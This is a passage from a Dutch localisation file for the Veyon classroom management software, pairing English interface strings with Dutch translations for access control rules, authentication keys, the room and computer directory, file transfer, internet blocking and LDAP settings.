leden van bepaalde groepen + + + Process access control rules + Verwerk toegangscontrole regels + + + User groups authorized for computer access + Gebruikersgroepen die bevoegd zijn voor toegang tot de computer + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Gelieve de groepen toe te voegen waarvan de leden bevoegd zouden zijn om toegang te krijgen tot computers in uw Veyon-netwerk. + + + Authorized user groups + Geautoriseerde gebruikersgroepen + + + All groups + Alle groepen + + + ... + ... + + + Access control rules + Toegangscontrole regels + + + Add access control rule + Voeg toegangsregelregel toe + + + Remove access control rule + Verwijder toegangsregelregel + + + Move selected rule down + Verplaats de geselecteerde regel naar beneden + + + Move selected rule up + Verplaatsde de geselecteerde regel naar boven + + + Edit selected rule + Bewerk de geselecteerde regel + + + Enter username + Voer gebruikersnaam in + + + Please enter a user login name whose access permissions to test: + Voer een gebruikersnaam in om toegangscontrole te testen: + + + Access allowed + Toegang toegestaan + + + The specified user is allowed to access computers with this configuration. + De opgegeven gebruiker is toegestaan om toegang tot computers te krijgen met deze configuratie. + + + Access denied + Toegang geweigerd + + + The specified user is not allowed to access computers with this configuration. + De opgegeven gebruiker is niet toegestaan om toegang tot computers te krijgen met deze configuratie. + + + Enable usage of domain groups + Gebruik van domeingroepen inschakelen + + + User groups backend: + Gebruikersgroepen backend + + + Missing user groups backend + Ontbrekende gebruikersgroepen backend + + + No default user groups plugin was found. Please check your installation! + Er werd geen standaard gebruikersgroepplugin gevonden. Controleer de installatie! + + + + AccessControlRuleEditDialog + + Edit access control rule + Bewerk toegangscontrole regel + + + General + Algemeen + + + enter a short name for the rule here + vul hier een korte naam voor de regel in + + + Rule name: + Regel naam: + + + enter a description for the rule here + vul hier een beschrijving in voor de regel + + + Rule description: + Regelbeschrijving: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Keer all condities om ("is/heeft" geïnterpreteerd als "is/heeft niet") + + + Conditions + Voorwaarden + + + is member of group + is lid van groep + + + is located in room + bevindt zich in lokaal + + + Accessing computer is localhost + Toegangzoekende computer is localhost + + + Accessing user is logged on user + Toegangzoekende gebruiker is de aangelogde gebruiker + + + Accessing user is already connected + Toegangzoekende gebruiker is reeds aangemeld + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Als er meerdere condities zijn geactiveerd, moet elke conditie voldoen om de regel toe te passen (logisch EN). Als slechts één van meerdere voorwaarden moet voldoen (logisch OF), maak dan meerdere toegangsregels aan. + + + Action + Actie + + + Allow access + Sta toegang toe + + + Deny access + Ontzeg toegang + + + Ask logged on user for permission + Vraag ingelogde gebruiker voor toestemming + + + None (rule disabled) + Geen (regel uitgeschakeld) + + + Accessing user + Toegangzoekende gebruiker + + + Accessing computer + Toegangzoekende computer + + + Local (logged on) user + Lokale (ingelogde) gebruiker + + + Local computer + Lokale computer + + + Always process rule and ignore conditions + Verwerk altijd regel en negeer de voorwaarden + + + No user logged on + Geen gebruiker ingelogd + + + Accessing computer is located in the same room as local computer + Toegangzoekende computer bevindt zich in hetzelfde lokaal als lokale computer + + + Accessing user has one or more groups in common with local (logged on) user + Toegangzoekende gebruiker heeft een of meerdere groepen gemeenschappelijk met de lokale (aangemelde) gebruiker + + + + AccessControlRulesTestDialog + + Access control rules test + Toegangscontrole regels test + + + Accessing user: + Toegangzoekende gebruiker: + + + Local computer: + Lokale computer: + + + Accessing computer: + Toegangzoekende computer: + + + Please enter the following user and computer information in order to test the configured ruleset. + Voer de volgende gebruikers- en computerinformatie in om de geconfigureerde regelset te testen. + + + Local user: + Lokale gebruiker: + + + Connected users: + Geconnecteerde gebruikers: + + + The access in the given scenario is allowed. + De toegang in het gegeven scenario is toegestaan. + + + The access in the given scenario is denied. + De toegang in het gegeven scenario is geweigerd. + + + The access in the given scenario needs permission of the logged on user. + De toegang in het gegeven scenario heeft toestemming van de ingelogde gebruiker nodig. + + + ERROR: Unknown action + FOUT: onbekende actie + + + Test result + Testresultaat + + + + AuthKeysConfigurationPage + + Authentication keys + Authenticatie sleutels + + + Introduction + Inleiding + + + Key file directories + + + + Public key file base directory + Publieke sleutel basis bestands folder + + + Private key file base directory + Privé sleutel basis bestands folder + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + Verwijder key + + + Import key + Importeer key + + + Export key + Exporteer key + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + Authenticatie sleutel naam + + + Please enter the name of the user group or role for which to create an authentication key pair: + Geef de naam van de gebruikers groep of rol waarvoor u een authenticatie sleutelpaar wil maken: + + + Do you really want to delete authentication key "%1/%2"? + Bent u zeker om met de verwijdering van authenticatiesleutel "%1/%2" door te gaan? + + + Please select a key to delete! + Gelieve de sleutel aan te duiden die u wilt verwijderen! + + + Please enter the name of the user group or role for which to import the authentication key: + Geef de naam van de gebruikers groep of rol waarvoor u een authenticatie sleutel wil importeren: + + + Please select a key to export! + Gelieve de sleutel aan te duiden die u wilt exporteren! + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + Gelieve de sleutel aan te duiden waarvoor u de toegangsgroep wil instellen! + + + Please perform the following steps to set up key file authentication: + Gelieve volgende stappen te volgen om sleutel authenticatie in te stellen: + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + Gelieve uw rechten na te kijken. + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + Eén of meer key files bestaan al! Verwijder ze door gebruik te maken van het commando "verwijder". + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + Aanmaken van de publieke sleutel of private sleutel is mislukt. + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + Maken van een uitvoermap is mislukt. + + + File "%1" already exists. + Bestand "%1" bestaat reeds. + + + Failed to write output file. + Schrijven van het uitvoerbestand is mislukt. + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + Lezen van het invoerbestand is mislukt. + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + Omzetten van private sleutel naar publieke sleutel is mislukt. + + + Failed to create directory for private key file "%1". + Maken van de map voor het private sleutelbestand "%1" is mislukt. + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + <N/A> + + + Failed to read key file. + Lezen van het sleutelbestand is mislukt. + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + SLEUTEL + + + ACCESS GROUP + TOEGANGS GROEP + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + NAAM + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + BESTAND + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + TYPE + + + PAIR ID + PAIR ID + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Naam + + + Type + Type + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Lokalen & computers + + + Rooms + Lokalen + + + Computers + Computers + + + Name + Naam + + + Host address/IP + Host adres/IP + + + MAC address + MAC adres + + + Add new room + Voeg nieuw lokaal toe + + + Remove selected room + Verwijder geselecteerd lokaal + + + Add new computer + Voeg nieuwe computer toe + + + Remove selected computer + Verwijder geselecteerde computer + + + New room + Nieuw lokaal + + + New computer + Nieuwe computer + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + Voeg een lokaal of een computer toe + + + Clear all rooms and computers + Wis alle lokalen en computers + + + Dump all or individual rooms and computers + + + + List all rooms and computers + Toon alle lokalen en computers + + + Remove a room or computer + Verwijder een lokaal of een computer + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Type + + + Name + Naam + + + Host address + + + + MAC address + MAC adres + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + Lokaal "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + Geen + + + Room + Lokaal + + + Computer + Computer + + + Root + + + + Invalid + Ongeldig + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Ingebouwde VNC server (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Ingebouwde VNC server (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Lokaal: %1 + + + Host/IP address: %1 + Host/IP adres: %1 + + + Active features: %1 + + + + Online and connected + Online en verbonden + + + Establishing connection + Verbinding aan het maken + + + Computer offline or switched off + Computer offline of uitgeschakeld + + + Service unreachable or not running + Service onbereikbaar of niet draaiende + + + Authentication failed or access denied + Verificatie mislukt of toegang geweigerd + + + Disconnected + Ontkoppeld + + + No user logged on + Geen gebruiker ingelogd + + + Logged on user: %1 + Ingelogde gebruiker: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 Service %2 bij %3:%4 + + + Authentication error + Authenticatie fout + + + Remote access + Toegang op afstand + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + Computer management + + + Add room + Lokaal toevoegen + + + Save computer/user list + Bewaar computer/gebruiker lijst + + + Select output filename + Selecteer uitvoer bestandsnaam + + + CSV files (*.csv) + CSV bestanden (*.csv) + + + File error + Bestandsfout + + + Could not write the computer and users list to %1! Please check the file access permissions. + Kon de computer en gebruikerslijst niet schrijven naar% 1! Controleer de toegangsrechten voor het bestand. + + + Computer search + Computer zoeken + + + + ComputerManager + + User + Gebruiker + + + Missing network object directory plugin + Ontbrekende netwerk object directory plugin + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Er is geen standaard plugin voor netwerkobjecten gevonden. Controleer uw installatie of configureer een andere netwerk object directory backend via% 1 Configurator. + + + Computer name;Host name;User + Computernaam;Hostnaam;Gebruiker + + + Room detection failed + Lokaaldetectie mislukt + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Kon het lokaal niet bepalen waartoe deze computer behoort. Dit geeft een probleem aan met de systeemconfiguratie. Alle lokalen worden in de plaats hiervan in het computerbeheer weergegeven. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Geef alstublieft een bestaand configuratiebestand op om te importeren. + + + Please specify a valid filename for the configuration export. + Geef alstublieft een geldige bestandsnaam op voor de configuratie export. + + + Please specify a valid key. + Geef alstublief een geldige sleutel op. + + + Specified key does not exist in current configuration! + Opgegeven sleutel bestaat niet in de huidige configuratie! + + + Please specify a valid value. + Geef alstublief een geldige waarde op. + + + Configure Veyon at command line + Configureer Veyon via opdrachtregel + + + Output file is not writable! + Uitvoerbestand is niet schrijfbaar! + + + Output directory is not writable! + Uitvoermap is niet schrijfbaar! + + + Configuration file is not readable! + Configuratiebestand is niet leesbaar! + + + Clear system-wide Veyon configuration + Veyon-configuratie helemaal wissen + + + List all configuration keys and values + Lijst alle configuratie sleutels en waarden op + + + Import configuration from given file + Importeer configuratie van opgegeven bestand + + + Export configuration to given file + Exporteer configuratie naar opgegeven bestand + + + Read and output configuration value for given key + Lees en lever configuratiewaarde voor de gegeven sleutel uit + + + Write given value to given configuration key + Schrijf de gegeven waarde naar de gegeven configuratiesleutel + + + Unset (remove) given configuration key + Ontkoppel (verwijder) de gegeven configuratiesleutel + + + Commands for managing the configuration of Veyon + Commando's voor het beheren van de configuratie van Veyon + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Kon de autostart eigenschap niet wijzigen voor de %1 service. + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Kon de instelling voor SAS generatie door software niet wijzigen. Het versturen van Ctrl + Alt + Del via bediening op afstand zal niet werken! + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + %1 Demo + + + + DemoConfigurationPage + + Demo server + Demo server + + + Tunables + Tunables + + + ms + ms + + + Key frame interval + Keyframe interval + + + Memory limit + Geheugenlimiet + + + Use multithreading (experimental) + Gebruik multithreading (experimenteel) + + + MB + MB + + + Update interval + Update interval + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Volledige scherm demo + + + Stop demo + Stop demo + + + Window demo + Venster demo + + + Give a demonstration by screen broadcasting + Geef een demonstratie door het uitzenden van het scherm + + + Demo server + Demo server + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + In deze modus wordt uw scherm in de fullscreen modus op alle computers weergegeven, terwijl de invoerapparaten van de gebruikers vergrendeld zijn. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + In deze modus wordt uw scherm in een venster op alle computers weergegeven. De gebruikers kunnen, indien nodig, overstappen naar andere vensters. + + + + DesktopAccessDialog + + Desktop access dialog + Bureaublad toegangsdialoog + + + Confirm desktop access + Bevestig bureaublad toegang + + + Never for this session + Nooit voor deze sessie + + + Always for this session + Altijd voor deze sessie + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + De gebruiker %1 van computer %2 wil toegang krijgen tot uw bureaublad. Wilt u toegang geven? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programma's & websites + + + Predefined programs + + + + Name + Naam + + + Path + Pad + + + Add new program + Nieuw programma toevoegen + + + Remove selected program + Geselecteerd programma verwijderen + + + Predefined websites + + + + Remove selected website + Geselecteerde website verwijderen + + + URL + URL + + + New program + Nieuw programma + + + New website + Nieuwe website + + + + DesktopServicesFeaturePlugin + + Run program + Voer programma uit + + + Open website + Open website + + + Click this button to open a website on all computers. + Klik op deze knop om een website op alle computers te openen. + + + Please enter the URL of the website to open: + Vul de URL in van de website die u wilt openen: + + + Start programs and services in user desktop + Start programma's en services in de gebruikersdesktop + + + Click this button to run a program on all computers. + Klik op deze knop om een programma op alle computers uit te voeren. + + + Run program "%1" + Programma "%1" uitvoeren + + + Custom program + + + + Open website "%1" + Open website "%1" + + + Custom website + + + + + ExternalVncServer + + External VNC server + Externe VNC server + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Externe VNC server configuratie + + + Port: + Poort: + + + Password: + Wachtwoord: + + + + FeatureControl + + Feature control + Kenmerkencontrole + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + Klik op deze knop om bestanden van jouw computer naar alle computers over te zetten. + + + Select one or more files to transfer + Selecteer één of meerdere bestanden om over te zetten. + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Gebruikersomgeving + + + Language: + Taal: + + + Use system language setting + Gebruik de systeemtaalinstelling + + + Veyon + Veyon + + + Logging + Loggen + + + Log file directory + Logbestand map + + + ... + ... + + + Log level + Log niveau + + + Nothing + Niets + + + Only critical messages + Alleen kritieke berichten + + + Errors and critical messages + Fouten en kritieke berichten + + + Warnings and errors + Waarschuwingen en fouten + + + Information, warnings and errors + Informatie, waarschuwingen en foutmeldingen + + + Debug messages and everything else + Fout opsporings berichten en al het andere + + + Limit log file size + Beperk log bestandsgrootte + + + Clear all log files + Wis alle logbestanden + + + Log to standard error output + Log naar standaard fout uitgang + + + Network object directory + Netwerk object map + + + Backend: + Backend: + + + Update interval: + Update interval: + + + %1 service + %1 service + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + De service van %1 moet tijdelijk gestopt worden om de logbestanden te verwijderen. Doorgaan? + + + Log files cleared + Log bestanden gewist + + + All log files were cleared successfully. + Alle logbestanden zijn succesvol gewist. + + + Error + Fout + + + Could not remove all log files. + Kon alle log bestanden niet verwijderen. + + + MB + MB + + + Rotate log files + Roteer logbestanden + + + x + x + + + seconds + seconden + + + Write to logging system of operating system + + + + Authentication + Authenticatie + + + Method: + + + + Logon authentication + Aanmeldingsverificatie + + + Key file authentication + Sleutel bestand authenticatie + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + Backend: + + + General settings + Algemene instellingen + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + Toegang tot internet blokkeren + + + Allow access to the internet + Toegang tot internet toestaan + + + Show help about command + Toon hulp over commando + + + Block internet + Blokkeer internet + + + Click this button to block access to the internet. + Klik op deze knop om toegang tot internet te blokkeren + + + Unblock internet + Deblokkeer internet + + + Click this button to allow access to the internet. + Klik op deze knop om toegang tot internet toe te staan + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + LDAP foutbeschrijving: %1 + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Basisinstellingen + + + General + Algemeen + + + LDAP server and port + LDAP server en poort + + + Bind DN + Bind DN + + + Bind password + Bind wachtwoord + + + Anonymous bind + Anonieme bind + + + Use bind credentials + Gebruik bind credentials + + + Test + Test + + + Base DN + Base DN + + + Fixed base DN + Vaste basis DN + + + e.g. dc=example,dc=org + bv. dc=example,dc=org + + + Discover base DN by naming context + Ontdek basis DN door naming context + + + e.g. namingContexts or defaultNamingContext + bv. namingContexts of defaultNamingContext + + + Environment settings + Omgevingsinstellingen + + + Object trees + Object boomstructuren + + + Computer tree + Computer boomstructuur + + + e.g. OU=Groups + bv. OU=Groups + + + User tree + Gebruiker boomstructuur + + + e.g. OU=Users + bv. OU=Users + + + e.g. OU=Computers + bv. OU=Computers + + + Group tree + Groep boomstructuur + + + Perform recursive search operations in object trees + Voer recursieve zoekacties uit in objectbomen + + + Object attributes + Object attributen + + + e.g. hwAddress + bv. hwAddress + + + Computer host name attribute + Computer hostnaam attribuut + + + e.g. member or memberUid + bv. member of memberUid + + + User login attribute + Gebruikers login attribuut + + + e.g. dNSHostName + bv. dNSHostName + + + Computer MAC address attribute + Computer MAC adres attribuut + + + Group member attribute + Groepslid attribuut + + + e.g. uid or sAMAccountName + bv. uid of sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Host namen opgeslagen als volledig gekwalificeerde domeinnamen (FQDN, bv. myhost.example.org) + + + Advanced settings + Geavanceerde instellingen + + + Optional object filters + Optionele objectfilters + + + Filter for user groups + Filter voor gebruikersgroepen + + + Filter for users + Filter voor gebruikers + + + Filter for computer groups + Filter voor computergroepen + + + Group member identification + Groepslid identificatie + + + Distinguished name (Samba/AD) + Onderscheidende naam (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Geconfigureerd attribuut voor gebruikerslogin of computer hostnaam (openLDAP) + + + List all groups of a user + Lijst alle groepen van een gebruiker op + + + List all groups of a computer + Lijst alle groepen van een computer op + + + Get computer object by IP address + Verkrijg computer object door IP-adres + + + LDAP connection failed + LDAP connectie mislukt + + + LDAP bind failed + LDAP bind mislukt + + + LDAP bind successful + LDAP bind gelukt + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Succesvol geconnecteerd op de LDAP-server en een LDAP-bind uitgevoerd. De basis LDAP instellingen zijn correct geconfigureerd. + + + LDAP base DN test failed + LDAP base DN test mislukt + + + LDAP base DN test successful + LDAP base DN test gelukt + + + LDAP naming context test failed + LDAP naming context test mislukt + + + LDAP naming context test successful + LDAP naming context test gelukt + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + De LDAP naming context is succesvol bevraagd. De volgende basis DN werd gevonden: +%1 + + + user tree + gebruiker boomstructuur + + + group tree + groep boomstructuur + + + computer tree + computer boomstructuur + + + Enter username + Voer gebruikersnaam in + + + Please enter a user login name (wildcards allowed) which to query: + Vul alstublieft een gebruikersnaam in (wildcards toegestaan) die bevraagd moet worden: + + + user objects + gebruikersobjecten + + + user login attribute + gebruikers login attribuut + + + Enter group name + Voer de groepsnaam in + + + Please enter a group name whose members to query: + Vul alstublieft een groepsnaam in waarvan de leden bevraagd moeten worden: + + + group members + groepsleden + + + group member attribute + groepslid attribuut + + + Group not found + Groep niet gevonden + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Kan een groep met de naam "%1" niet vinden. Controleer de groepsnaam of de groepsboomstructuur parameter. + + + Enter computer name + Voer de computernaam in + + + Please enter a computer host name to query: + Vul alstublieft een computer hostnaam in die bevraagd moet worden: + + + Invalid host name + Ongeldige hostnaam + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + U heeft geconfigureerd om de computer hostnamen op te slaan als volledig gekwalificeerde domeinnamen (FQDN), maar u heeft een hostnaam ingevoerd zonder domein. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + U heeft geconfigureerd om de computer hostnamen op te slaan als eenvoudige hostnamen zonder een domeinnaam, maar heeft een hostnaam ingevoerd met een domeinnaam. + + + computer objects + computer objecten + + + computer host name attribute + computer hostnaam attribuut + + + Enter computer DN + Voer de computer DN in + + + Please enter the DN of a computer whose MAC address to query: + Vul alstublieft de DN in van een computer waarvan het MAC-adres moet worden bevraagd: + + + computer MAC addresses + computer MAC adressen + + + computer MAC address attribute + computer MAC adres attribuut + + + users + gebruikers + + + user groups + gebruikersgroepen + + + computer groups + computergroepen + + + Please enter a user login name whose group memberships to query: + Vul alstublieft een gebruikersnaam in van wie de groepslidmaatschappen moeten bevraagd worden: + + + groups of user + groepen van gebruiker + + + user login attribute or group membership attribute + Gebruikers login- of groepslidmaatschap-attribuut + + + User not found + Gebruiker niet gevonden + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Kon geen gebruiker vinden met de naam "%1". Controleer alstublieft de gebruikersnaam of de gebruikersboomstructuurparameter. + + + Enter host name + Voer hostnaam in + + + Please enter a computer host name whose group memberships to query: + Vul alstublieft een computer hostnaam in waarvan het groepslidmaatschap moet worden bevraagd: + + + groups of computer + groepen van computer + + + computer host name attribute or group membership attribute + computer hostnaam- of groepslidmaatschap-attribuut + + + Computer not found + Computer niet gevonden + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Kon de computer met de naam "% 1" niet vinden. Kontroleer de computernaam in de PC of AD computerbenaming. + + + Enter computer IP address + Voer computer IP adres in + + + Please enter a computer IP address which to resolve to an computer object: + Voer het IP-adres van een computer in dat moet worden omgezet naar een computerobject: + + + Host name lookup failed + Hostnaam opzoeken mislukt + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Kan de hostnaam niet opzoeken voor IP-adres %1. Kontroleer uw server DNS-instellingen. + + + computers + computers + + + LDAP %1 test failed + LDAP %1 test mislukt + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Kan geen gegevens opvragen van %1. Kontroleer van %1 de instelling %2 + + + LDAP %1 test successful + LDAP %1 test gelukt + + + The %1 has been queried successfully and %2 entries were found. + De %1 is met succes opgevraagd en %2 ingaven zijn gevonden. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Kon geen gegevens van %1 opvragen. Kontroleer de instelling %2 of voer de naam in van een bestaand object. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 zijn succesvol opgevraagd. + +%3 + + + LDAP filter test failed + LDAP filter test mislukt + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Kon geen %1 opvragen met behulp van de ingestelde filter. Kontroleer de LDAP-filter op %1. + +%2 + + + LDAP filter test successful + LDAP-filtertest geslaagd + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 zijn met succes opgevraagd gebruikmakend van de ingestelde filter. + + + (only if different from group tree) + (Alleen als verschillend van groep-structuur) + + + Computer group tree + Computer groep structuur + + + computer group tree + computer groep structuur + + + Filter for computers + Filter voor computers + + + e.g. room or computerLab + bv. lokaal of computerlabo + + + List all members of a computer room + Lijst alle leden van een computerlokaal op + + + List all computer rooms + Lijst alle computer lokalen op + + + Enter computer room name + Geef de computerlokaalnaam in. + + + Please enter the name of a computer room (wildcards allowed): + Geef de naam van een computerlokaal in (wildcards toegelaten): + + + computer rooms + computerlokalen + + + computer room attribute + computerlokaal attribuut + + + Please enter the name of a computer room whose members to query: + Voer de naam van een computerzaal in waarvan de gebruikers worden opgevraagd: + + + computer room members + computerlokaal gebruikers + + + computer group filter or computer room member aggregation + computer groep filter of computerlokaalgebruiker samenstelling + + + Computer rooms + Computerlokalen + + + Integration tests + Intregatietests + + + Computer room attribute + Computerlokaal eigenschap + + + Aggregate computers in a room via: + Verzamelde computers in een lokaal via: + + + Computer groups + Computergroepen + + + Computer room attribute in computer objects + Computerlokaal instelling in computer objects + + + Test not applicable + Test niet van toepassing + + + Computer room name attribute + Instelling computerlokaalnaam + + + e.g. name or description + bv. naam of beschrijving + + + Filter for computer containers + Filter voor computer containers + + + Computer containers or OUs + Computer containers of OUs + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Wijzig de computerlokaalinstellingen om groepen of containers te gebruiken als computerlokalen. Dan worden de gespecifieerde gegevens opgevraagd, ipv. de gemeenschappelijke namen van de computergroepen of containers. Anderzijds dient u deze instelling niet te configureren. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Wijzig hieronder de computerlokaalinstellingen voor het gebruik van computercontainers als computerlokalen. Anderzijds moet u deze instellingen niet configureren. + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + Nooit (onveilig!) + + + Custom CA certificate file + + + + None + Geen + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + bv. (objectClass=computer) + + + e.g. (objectClass=group) + bv. (objectClass=group) + + + e.g. (objectClass=person) + bv. (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + bv. (objectClass=room) 